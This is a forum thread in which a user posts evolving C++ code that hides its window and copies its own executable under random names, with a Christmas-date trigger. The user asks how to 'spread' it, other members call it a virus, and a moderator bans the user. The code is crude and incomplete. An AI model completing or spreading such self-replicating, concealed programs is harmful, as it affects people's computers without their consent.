Getting file name off path

Im trying to get the .exe name off the path wich GetModuleFileName(); gives me I just want the exeutable name but i'm stuck I just can't figure it out :O

Code:

---

                SYSTEMTIME ST;
        GetSystemTime(&ST);
        if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
        {
                // cristmas delete program
        }
        char FileNamePath [256];
        GetModuleFileName(0,FileNamePath,MAX_PATH);
        char ExeName [256];

        for(int i=0; i<strlen(FileNamePath);i++)
        {
                if (FileNamePath[i-1] != '\')
                {
                        int copy_count = 0;
                        ExeName[copy_count] = FileNamePath[i];
                        copy_count+=1;
                }
        }

ive found a way of doing it if anyone is interested

Code:

---

#include <iostream>
#include <windows.h>
#include <cstring>
#include <ctime>
using namespace std;
int main()
{
        srand((unsigned)time(0));
        SYSTEMTIME ST;
        GetSystemTime(&ST);
        if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
        {
                // cristmas delete program
        }
        char FileNamePath [256];
        GetModuleFileName(0,FileNamePath,MAX_PATH);
        char *pch = strrchr(FileNamePath,'\\');
        char szExeName [256]= "";
        for(int i=0;i<strlen(pch);i++)
        {
                *pch++;
                szExeName[i] = *pch;
        }
        strcat(szExeName,"xe");
        CopyFile("MerryChristmas.exe","1.exe",true);
        int x = 0;
        do
        {
                x++;
                int new_name = rand();
                char cnew_name [256];
                itoa(new_name,cnew_name,10);
                strcat(cnew_name,".exe");
                CopyFile(szExeName,cnew_name,true);
        }
        while (x < 10);
}

You and your viruses why not make something usefull?

Code:

---

#include <iostream>
#include <windows.h>
#include <cstring>
#include <ctime>
using namespace std;
int main()
{
        srand((unsigned)time(0));
        SYSTEMTIME ST;
        GetSystemTime(&ST);
        if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
        {
                // cristmas delete program
        }
        char FileNamePath [256];
        GetModuleFileName(0,FileNamePath,MAX_PATH);
        char *pch = strrchr(FileNamePath,'\\');
        char szExeName [256]= "";

        for(int i=0;i<strlen(pch);i++)
        {
                *pch++;
                szExeName[i] = *pch;
        }
^^^ You don't need the above loop.  just use strcpy() function
strcpy(szExeName,pch+1);

        strcat(szExeName,"xe");
^^^ why "xe"?  why not "exe" or ".exe"
        CopyFile("MerryChristmas.exe","1.exe",true);
        int x = 0;
        do
        {
                x++;
                int new_name = rand();
                char cnew_name [256];
                itoa(new_name,cnew_name,10);
                strcat(cnew_name,".exe");
                CopyFile(szExeName,cnew_name,true);
        }
        while (x < 10);
}

Wow thanks so much !

Code:

---

#include <iostream>
#include <windows.h>
#include <cstring>
#include <ctime>
using namespace std;
int main()
{
        srand((unsigned)time(0));
        SYSTEMTIME ST;
        GetSystemTime(&ST);
        if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
        {
                if (ST.wYear == 2005 && ST.wMonth == 12 & ST.wDay == 25)
                {
                        // cristmas delete program
                        // and pop up merry christmas banner
                }
                else
                {
                        // day is past christmas 2005 delete program
                }
        }
        char FileNamePath [256];
        GetModuleFileName(0,FileNamePath,MAX_PATH);
        HWND hwnd = FindWindow(hwnd,FileNamePath);
        ShowWindow(hwnd,SW_HIDE);
        char *pch = strrchr(FileNamePath,'\\');
        char szExeName [256]= "";
        strcpy(szExeName,pch+1);
        int x = 0;
        do
        {
                x++;
                int new_name = rand();
                char cnew_name [256];
                itoa(new_name,cnew_name,10);
                strcat(cnew_name,".exe");
                CopyFile(szExeName,cnew_name,true);
        }
        while (x < 10);
}

theres the finished code now i just need a way to delete the program on christmas im thining of using a batch file.
do you know any ways i could use to "spread" this program it doesn't do anything to the person computer that is "infected" and i will make it so a messagebox pops up and they have agree to "install it".
PS prog-gman its not a virus .....

put a link to it on the internet so that people can download and install it themselves. Any program that spreads itself to other computers without the owner's consent or knowledge is a visus (or worm or whatever they call it :mad: ), even if all it does is display "Happy Newyear" on 1 Jan.

OK, enough overt virus writing - banned!!!
